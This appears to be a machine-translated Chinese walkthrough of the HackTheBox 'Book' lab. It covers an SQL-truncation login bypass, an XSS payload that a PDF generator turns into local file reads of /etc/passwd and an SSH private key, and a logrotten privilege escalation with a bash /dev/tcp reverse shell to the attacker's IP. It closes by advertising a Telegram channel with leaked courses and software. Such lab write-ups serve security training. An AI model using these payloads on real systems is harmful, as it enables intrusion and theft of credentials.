HackTheBox。演练书。XSS通过PDF转换为LFI,通过Logrotate转换为LPE



我将继续发布用于最终完成HackTheBox平台上的计算机的解决方案



在本文中,我们将通过PDF文档利用XSS到LFI,使用logrotten提升特权,并了解为什么截断注册容易受到攻击。



到实验室的连接是通过VPN。建议您不要从工作计算机或有重要数据的主机连接,因为您会发现自己与某个对信息安全有所了解的人处于私有网络中。



组织信息
, , Telegram . , , .



. , - , .



侦察



这台机器的IP地址为10.10.10.176,我将其添加到/ etc / hosts中。



10.10.10.176	book.htb


首先,我们扫描打开的端口。由于使用nmap扫描所有端口会花费很长时间,因此我将首先使用masscan进行扫描。我们以每秒500个数据包的速度扫描来自tun0接口的所有TCP和UDP端口。



masscan -e tun0 -p1-65535,U:1-65535 10.10.10.176     --rate=500






现在,要获取有关在端口上运行的服务的更多详细信息,请使用-A选项运行扫描。



nmap -A book.htb -p22,80






主机运行SSH服务和Web服务器。让我们从网络开始。登录和注册页面向我们致意。







让我们注册并登录。







该站点是一个图书馆,可以添加一本书并与管理员联系。







这些字段中没有矢量,但我们知道管理员的邮件。让我们用gobuster遍历目录。在参数中,我们指定流128(-t),URL(-u),字典(-w)和我们感兴趣的扩展(-x)的数量。



gobuster dir -t 128 -u http://book.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php






因此,我们找到了许多有趣的页面,包括管理面板。然后决定扭曲授权表单,然后我们立即在源代码中发现了一些有趣的东西。







即,用户名的长度不能超过10个字符,电子邮件地址的长度不能超过20个字符。但是,仅在空白字段的情况下才进行检查,而不检查长度。



入口点



因此,这些变量很可能在服务器端被截断为指定的长度。让我们来看看。让我们注册一个电子邮件地址超过20个字符的用户。







然后,我们考虑到截断的地址登录。











如您所见,该假设是正确的。让我们注册为“ admin@book.htb 123”,然后以常规管理员身份登录。















由于在注册过程中进行检查时,数据库中不存在值“ admin@book.htb 123”,因此该攻击将被截断并覆盖现有的值,因此可能导致这种攻击。让我们四处逛逛,发现除了藏品之外没有其他有趣的东西。







下载并打开PDF文档后,我们将在此处找到注册用户和收藏的列表。



用户



我的经验告诉我,当我们处理将信息上载到服务器并以PDF格式显示时,应检查XXS到LFI。您可以通过下载以下代码来实现。



<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///etc/passwd");
x.send();
</script>
 

以普通用户身份登录并将文件添加到集合中,指示所有字段中的此负载。







现在,我们从管理员那里下载带有集合的文件,并在那里找到/ etc / passwd文件的内容。







让我们通过在加载中指定文件“ file:///home/reader/.ssh/id_rsa”来读取读取器用户的专用SSH密钥。







但是,当复制密钥时,并非全部复制。在浏览器中打开此pdf文件,复制文本并将其粘贴到常规文本文件中,突出显示第一行和最后一行。







让我们为该文件分配权限。



chmod 0600 reader.key


然后我们通过SSH连接。









用户的主目录中有一个备份文件夹。











它什么也没给我。运行用于系统基本枚举的脚本,我们也没有发现任何有趣的东西。在这种情况下,我们使用pspy64查看可执行任务。在这里,我们找到了代表根目录运行的logrotate。







Logrotate实用程序旨在自动处理日志。她可以根据某些条件和合规性规则对他们执行必要的操作。例如,您可以将日志压缩到存档中,或者在达到一定大小,期限或其他参数时将其发送到另一台服务器。而且,在Google中进行搜索会立即得到一些结果。











下载存储库并编译程序。



gcc -o logrotten logrotten.c


现在让我们制作一个带有反向外壳的文件。



echo "bash -i >& /dev/tcp/10.10.15.60/4321 0>&1" > payloadfile


让我们开始logrotten,在另一个终端窗口中,我们将写入日志文件。



./logrotten -p ./payloadfile /home/reader/backups/access.log 






我们可以观察到该程序成功运行。







几秒钟后,我们看到一个连接保持了几秒钟。这足以看到ssh私钥。







让我们用这个键连接并标记。







您可以通过Telegram加入我们在这里,您可以找到有趣的资料,泄漏的课程和软件。让我们建立一个社区,在这个社区中,将有很多精通IT领域的人,然后我们随时可以在任何IT和信息安全问题上互相帮助。



All Articles